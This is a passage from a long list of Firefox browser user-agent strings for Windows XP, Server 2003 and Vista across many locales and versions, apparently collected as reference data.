-Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 -Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 -Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729; .NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) 